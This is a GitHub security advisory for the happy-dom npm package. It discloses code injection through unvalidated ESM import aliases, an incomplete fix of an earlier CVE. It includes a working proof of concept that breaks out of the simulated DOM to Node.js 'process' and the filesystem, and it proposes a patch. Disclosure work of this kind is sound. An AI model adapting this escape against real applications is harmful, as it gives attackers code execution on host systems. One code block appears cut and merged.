GitHub Advisoryadvisory · npm
GHSA-834v-8h66-3h79 Happy DOM: Incomplete fix for CVE-2026-33943: unsanitized import alias leads to host code execution
HIGH
Official page ↗
- Aliases
- CVE-2026-115895
- Ecosystem
- npm
- Packages
- happy-dom
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
- Weaknesses
- CWE-94
- Reviewed
- 2026-10-23
Affected packages
• npm happy-dom: >= 17.0.0, < 21.0.4 → fixed in 21.0.4
Description
Summary
The ESM compiler in `[email protected]` does not validate imported local binding aliases before interpolating them into generated JavaScript.
As a result, an invalid ESM import alias can be transformed into a valid JavaScript destructuring default initializer and executed.
This appears to be an alternate injection path and incomplete remediation of GHSA-6q6h-j7hj-3r64 / CVE-2026-33943. The previous fix validates `importName` in the local `export { ... }` handler, but the named import handler still places an unvalidated `alias` directly into code context.
These issues were confirmed through the public `Window` and `` APIs using the published `happy-dom` npm package. The PoC reaches the Node.js host `process`, obtains `node:fs`, and creates a proof directory on the host filesystem.
Confirmed affected versions
The PoC was directly tested against:
• `[email protected]`
• `[email protected]`
• `[email protected]`
• `[email protected]`
The same PoC does not trigger on `[email protected]`.
The ESM compiler was introduced by commit `7bc831df2`, first released in `v17.0.0`. The vulnerable interpolation remains present through `v20.14.5`, the latest release at the time of testing.
Suggested affected range:
```text
>= 17.0.0,
property.alias
? `"${property.name}": ${property.alias}`
: property.name
)
.join(', ')}} = $happy_dom.imports.get('${url}')${match[8]}`;
```
Consider the following source:
```js
import {
missing as injected = globalThis.__HAPPY_DOM_PWNED__ = 1337
} from './dep.json' with { type: 'json' };
```
This is invalid ECMAScript module syntax. Node.js rejects it at the `=` token.
Happy DOM instead transforms it into the equivalent of:
```js
let {
"missing": injected = globalThis.__HAPPY_DOM_PWNED__ = 1337
} = $happy_dom.imports.get('https://poc.local/dep.json');
```
This generated JavaScript is valid. Because the imported JSON object does not contain a `missing` property, the default initializer executes.
The `with { type: 'json' }` attribute is relevant because the compiler only generates its circular import resolver for ESM imports:
```ts
if (!match[7] || match[7] === 'esm') {
resolvableCircularImports.push({ url, properties });
}
```
Using a JSON module prevents the malicious alias from being emitted again in a later circular-import assignment, leaving the generated function syntactically valid.
Backtick strings also survive the existing quote removal. This allows the injected initializer to reach Node.js host APIs:
```js
globalThis.constructor.constructor(`return process`)()
.getBuiltinModule(`node:fs`)
.mkdirSync(
globalThis.constructor.constructor(`return process`)().cwd() +
`/HAPPY_DOM_RCE_PROOF`
)
```
Proof of concept
The following PoC uses only the public Happy DOM API and performs a harmless filesystem action by creating a directory named `HAPPY_DOM_RCE_PROOF`.
1. Create `package.json`
```json
{
"name": "happy-dom-import-alias-rce-poc",
"private": true,
"type": "module",
"dependencies": {
"happy-dom": "20.14.5"
}
}
```
2. Create `dep.json`
```json
{}
```
3. Create `payload.mjs`
This file is used as a control to demonstrate that a native ECMAScript parser rejects the source:
```js
import {
missing as injected = globalThis.__HAPPY_DOM_PWNED__ = 1337
} from './dep.json' with { type: 'json' };
```
4. Create `poc.mjs`
```js
import { Window } from 'happy-dom';
import { existsSync, rmSync } from 'node:fs';
import { resolve } from 'node:path';
const proofDirectory = resolve('HAPPY_DOM_RCE_PROOF');
rmSync(proofDirectory, { recursive: true, force: true });
const window = new Window({
url: 'https://poc.local/',
settings: {
enableJavaScriptEvaluation: true,
suppressCodeGenerationFromStringsWarning: true,
fetch: {
virtualServers: [
{
url: 'https://poc.local/',
directory: process.cwd()
}
]
}
}
});
const script = window.document.createElement('script');
script.type = 'module';
script.textContent = `
import {
missing as injected = globalThis.constructor.constructor(\`return process\`)()
.getBuiltinModule(\`node:fs\`)
.mkdirSync(
globalThis.constructor.constructor(\`return process\`)().cwd() +
\`/HAPPY_DOM_RCE_PROOF\`
)
} from './dep.json' with { type: 'json' };
`;
window.document.body.appendChild(script);
await window.happyDOM.waitUntilComplete();
if (!existsSync(proofDirectory)) {
console.error('[-] Exploit failed: proof directory was not created.');
console.error(
window.happyDOM.virtualConsolePrinter.readAsString()
);
process.exitCode = 1;
} else {
console.log(`[+] Host filesystem reached: ${proofDirectory}`);
}
await window.happyDOM.close();
```
5. Run the control test
```console
npm install
node --check payload.mjs
```
Expected result:
```text
SyntaxError: Unexpected token '='
```
This confirms that the source is not valid ESM.
6. Run the Happy DOM PoC
```console
node poc.mjs
```
Expected result:
```text
[+] Host filesystem reached: /path/to/HAPPY_DOM_RCE_PROOF
```
The existence of `HAPPY_DOM_RCE_PROOF` confirms that the expression injected through the import alias executed and reached the host filesystem.
The PoC was also verified inside a `node:24-alpine` Docker container, where it created:
```text
/poc/HAPPY_DOM_RCE_PROOF
```
Impact
An attacker who can supply module source to an application that evaluates JavaScript through Happy DOM can cause syntactically invalid import declarations to be transformed into executable JavaScript.
This may bypass upstream syntax validation or application assumptions that malformed import clauses will be rejected.
The demonstrated payload reaches Node.js `process` and built-in modules. It can therefore be adapted to read or modify files, access environment data, or execute operating-system commands with the privileges of the Happy DOM host process.
Relationship to CVE-2026-33943
CVE-2026-33943 covers expression injection through a local export declaration:
```js
export { attacker_expression }
```
Its fix added identifier validation to the `importName` used by the `export { ... }` handler:
```ts
if (
exportName &&
importName &&
VALID_VARIABLE_NAME_REGEXP.test(importName)
) {
// ...
}
```
This report uses a different parsing and code-generation path:
```js
import { name as malicious_alias } from './module';
```
The unvalidated value is the local import `alias`, and the injection occurs in a generated destructuring binding rather than the export assignment patched by CVE-2026-33943.
The issue remains reproducible in versions released after the CVE-2026-33943 fix, including `20.14.5`.
Suggested fix
Validate the imported local binding before placing it into code context. The existing `VALID_VARIABLE_NAME_REGEXP` can be reused:
```diff
• if (alias && name) {
+ if (alias && name && VALID_VARIABLE_NAME_REGEXP.test(alias)) {
```
A regression test should compile and execute the malicious import dec…
Related
Alias · CVE (1)
- CVE-2026-115895 Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. vulnerability
Weakness · CWE (1)
- CWE-94 Improper Control of Generation of Code weakness
References
- https://github.com/capricorn86/happy-dom/security/advisories/GHSA-834v-8h66-3h79 web
- https://github.com/capricorn86/happy-dom/pull/2537 web
- https://github.com/capricorn86/happy-dom/commit/fd163520b74d9fa146be91f7b4e4f46d6cccbe13 web
- https://github.com/capricorn86/happy-dom package
- https://github.com/capricorn86/happy-dom/releases/tag/v21.0.4 web